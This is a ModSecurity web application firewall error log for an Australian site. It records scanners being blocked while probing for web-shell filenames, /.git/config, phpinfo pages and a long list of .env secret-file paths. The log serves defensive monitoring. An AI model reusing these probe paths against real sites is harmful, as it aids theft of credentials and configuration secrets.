[Fri May 08 11:40:53.597286 2026] [:error] [pid 61355:tid 61381] [client 172.212.136.43:25884] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "af1bRfkhJTi30CBXmMkoJAAAAZQ"]
[Fri May 08 11:40:54.449917 2026] [:error] [pid 61355:tid 61376] [client 172.212.136.43:25783] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "af1bRvkhJTi30CBXmMkoJwAAAY8"]
[Fri May 08 11:40:55.449730 2026] [:error] [pid 34318:tid 34343] [client 172.212.136.43:25767] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amxloxxr.php"] [unique_id "af1bR8r3guirgJiKhzCnPwAAARc"]
[Fri May 08 11:40:56.079209 2026] [:error] [pid 61317:tid 61337] [client 172.212.136.43:25731] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amxloxxr.php"] [unique_id "af1bSM-fFk_CedOCOYtxAwAAAVE"]
[Fri May 08 11:40:56.952112 2026] [:error] [pid 61356:tid 61405] [client 172.212.136.43:25772] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amxloxxr.php"] [unique_id "af1bSIx3vpB8oWhUq2PlvAAAAdE"]
[Fri May 08 11:40:57.565807 2026] [:error] [pid 34318:tid 34320] [client 172.212.136.43:25623] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amxloxxr.php"] [unique_id "af1bScr3guirgJiKhzCnQAAAAQA"]
[Fri May 08 11:40:58.574350 2026] [:error] [pid 61317:tid 61323] [client 172.212.136.43:19353] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "af1bSs-fFk_CedOCOYtxBwAAAUM"]
[Fri May 08 11:40:59.457451 2026] [:error] [pid 51008:tid 51056] [client 172.212.136.43:25831] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "af1bS3B58C2Y1tgLtuJXJgAAAEc"]
[Fri May 08 11:41:00.226293 2026] [:error] [pid 34318:tid 34326] [client 172.212.136.43:19333] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "af1bTMr3guirgJiKhzCnQQAAAQY"]
[Fri May 08 11:41:01.027476 2026] [:error] [pid 61356:tid 61412] [client 172.212.136.43:25657] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "af1bTYx3vpB8oWhUq2PlvwAAAdg"]
[Fri May 08 11:41:01.614504 2026] [:error] [pid 61355:tid 61379] [client 172.212.136.43:25845] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "af1bTfkhJTi30CBXmMkoLQAAAZI"]
[Fri May 08 11:41:02.458780 2026] [:error] [pid 61356:tid 61399] [client 172.212.136.43:25627] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "af1bTox3vpB8oWhUq2PlwQAAAcs"]
[Fri May 08 11:41:03.514035 2026] [:error] [pid 51113:tid 51136] [client 172.212.136.43:25889] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "af1bT0Qfs7sWtqkpQIdMOQAAANU"]
[Fri May 08 11:41:04.789900 2026] [:error] [pid 51008:tid 51070] [client 172.212.136.43:25612] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "af1bUHB58C2Y1tgLtuJXJwAAAFU"]
[Fri May 08 11:41:06.331951 2026] [:error] [pid 51009:tid 51083] [client 172.212.136.43:25805] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "af1bUuB0GbUWhxgzX9XLCAAAAIc"]
[Fri May 08 11:41:07.942224 2026] [:error] [pid 34318:tid 34335] [client 172.212.136.43:25760] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "af1bU8r3guirgJiKhzCnTQAAAQ8"]
[Fri May 08 11:47:51.254910 2026] [:error] [pid 61317:tid 61330] [client 34.85.48.40:57256] [client 34.85.48.40] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "af1c58-fFk_CedOCOYtxiAAAAUo"]
[Fri May 08 11:47:52.130129 2026] [:error] [pid 34318:tid 34331] [client 34.85.48.40:59300] [client 34.85.48.40] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "af1c6Mr3guirgJiKhzCoFgAAAQs"]
[Fri May 08 12:10:13.121871 2026] [:error] [pid 61317:tid 61327] [client 43.153.54.14:42224] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af1iJc-fFk_CedOCOYt1SgAAAUc"]
[Fri May 08 16:25:40.833788 2026] [:error] [pid 34318:tid 34330] [client 129.226.93.214:55426] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af2eBMr3guirgJiKhzC_ZAAAAQo"]
[Fri May 08 22:23:03.336257 2026] [:error] [pid 61317:tid 61342] [client 146.56.199.139:33428] [client 146.56.199.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af3xx8-fFk_CedOCOYveWQAAAVY"]
[Fri May 08 22:31:32.113073 2026] [:error] [pid 51009:tid 51093] [client 162.62.132.25:33340] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af3zxOB0GbUWhxgzX9VdzgAAAJE"]
[Fri May 08 22:31:58.848875 2026] [:error] [pid 51007:tid 51034] [client 94.247.172.129:64784] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af3z3lMagSGstWKyzzX_BwAAAAw"]
[Sat May 09 00:55:17.138784 2026] [:error] [pid 61356:tid 61407] [client 34.151.223.22:45996] [client 34.151.223.22] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "af4VdYx3vpB8oWhUq2MTWwAAAdM"]
[Sat May 09 01:17:00.557018 2026] [:error] [pid 61317:tid 61329] [client 13.208.252.11:51912] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "af4ajM-fFk_CedOCOYsGVwAAAUk"]
[Sat May 09 01:17:01.323329 2026] [:error] [pid 34318:tid 34321] [client 13.208.252.11:51942] [client 13.208.252.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4ajcr3guirgJiKhzAArgAAAQE"]
[Sat May 09 01:17:03.832383 2026] [:error] [pid 61355:tid 61371] [client 13.208.252.11:51998] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/phpinfo.php"] [unique_id "af4aj_khJTi30CBXmMkidQAAAYo"]
[Sat May 09 01:17:04.418682 2026] [:error] [pid 61356:tid 61404] [client 13.208.252.11:57072] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/phpinfo.php"] [unique_id "af4akIx3vpB8oWhUq2MeRQAAAdA"]
[Sat May 09 01:17:05.000833 2026] [:error] [pid 61356:tid 61391] [client 13.208.252.11:57120] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev/phpinfo.php"] [unique_id "af4akIx3vpB8oWhUq2MeSAAAAcM"]
[Sat May 09 01:17:05.587568 2026] [:error] [pid 51009:tid 51090] [client 13.208.252.11:57174] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/old/phpinfo.php"] [unique_id "af4akeB0GbUWhxgzX9WKVQAAAI4"]
[Sat May 09 01:17:06.176293 2026] [:error] [pid 61356:tid 61396] [client 13.208.252.11:57238] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "af4akox3vpB8oWhUq2MeUQAAAcg"]
[Sat May 09 01:17:06.762776 2026] [:error] [pid 61356:tid 61405] [client 13.208.252.11:57282] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/phpinfo.php"] [unique_id "af4akox3vpB8oWhUq2MeXQAAAdE"]
[Sat May 09 01:17:07.343102 2026] [:error] [pid 61356:tid 61388] [client 13.208.252.11:57332] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info"] [unique_id "af4ak4x3vpB8oWhUq2MeZQAAAcA"]
[Sat May 09 01:17:07.928557 2026] [:error] [pid 34318:tid 34330] [client 13.208.252.11:57380] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php-info.php"] [unique_id "af4ak8r3guirgJiKhzAAvgAAAQo"]
[Sat May 09 01:17:08.519577 2026] [:error] [pid 51008:tid 51072] [client 13.208.252.11:57436] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "af4alHB58C2Y1tgLtuLU0gAAAFc"]
[Sat May 09 01:17:09.107156 2026] [:error] [pid 61355:tid 61382] [client 13.208.252.11:57482] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_phpinfo.php"] [unique_id "af4alfkhJTi30CBXmMkilAAAAZU"]
[Sat May 09 01:17:09.685098 2026] [:error] [pid 61355:tid 61367] [client 13.208.252.11:57532] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/old_phpinfo.php"] [unique_id "af4alfkhJTi30CBXmMkimQAAAYY"]
[Sat May 09 01:17:10.265779 2026] [:error] [pid 61355:tid 61365] [client 13.208.252.11:57570] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server-info.php"] [unique_id "af4alvkhJTi30CBXmMkingAAAYQ"]
[Sat May 09 01:17:10.854221 2026] [:error] [pid 51009:tid 51098] [client 13.208.252.11:57602] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server-status.php"] [unique_id "af4aluB0GbUWhxgzX9WKYQAAAJY"]
[Sat May 09 01:17:11.436068 2026] [:error] [pid 61355:tid 61368] [client 13.208.252.11:57654] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_profiler/phpinfo"] [unique_id "af4al_khJTi30CBXmMkipAAAAYc"]
[Sat May 09 01:17:12.016255 2026] [:error] [pid 51113:tid 51130] [client 13.208.252.11:57720] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_environment"] [unique_id "af4amEQfs7sWtqkpQIeYvQAAAM8"]
[Sat May 09 01:17:12.605281 2026] [:error] [pid 61355:tid 61373] [client 13.208.252.11:57766] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webroot/index.php/_environment"] [unique_id "af4amPkhJTi30CBXmMkisAAAAYw"]
[Sat May 09 01:17:13.195681 2026] [:error] [pid 61355:tid 61365] [client 13.208.252.11:57820] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail/phpinfo.php"] [unique_id "af4amfkhJTi30CBXmMkitgAAAYQ"]
[Sat May 09 01:17:13.783362 2026] [:error] [pid 34318:tid 34327] [client 13.208.252.11:57858] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "af4amcr3guirgJiKhzAAxQAAAQc"]
[Sat May 09 01:17:14.365431 2026] [:error] [pid 61355:tid 61373] [client 13.208.252.11:57910] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hosting/phpinfo.php"] [unique_id "af4amvkhJTi30CBXmMkivgAAAYw"]
[Sat May 09 01:17:14.947622 2026] [:error] [pid 61356:tid 61389] [client 13.208.252.11:52758] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webmail/phpinfo.php"] [unique_id "af4amox3vpB8oWhUq2MegAAAAcE"]
[Sat May 09 01:17:15.529402 2026] [:error] [pid 51007:tid 51033] [client 13.208.252.11:52786] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/smtp/phpinfo.php"] [unique_id "af4am1MagSGstWKyzzUWsgAAAAs"]
[Sat May 09 01:17:16.126121 2026] [:error] [pid 61356:tid 61412] [client 13.208.252.11:52848] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php.bak"] [unique_id "af4anIx3vpB8oWhUq2MehwAAAdg"]
[Sat May 09 01:17:16.714365 2026] [:error] [pid 61355:tid 61368] [client 13.208.252.11:52894] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php.old"] [unique_id "af4anPkhJTi30CBXmMkiyQAAAYc"]
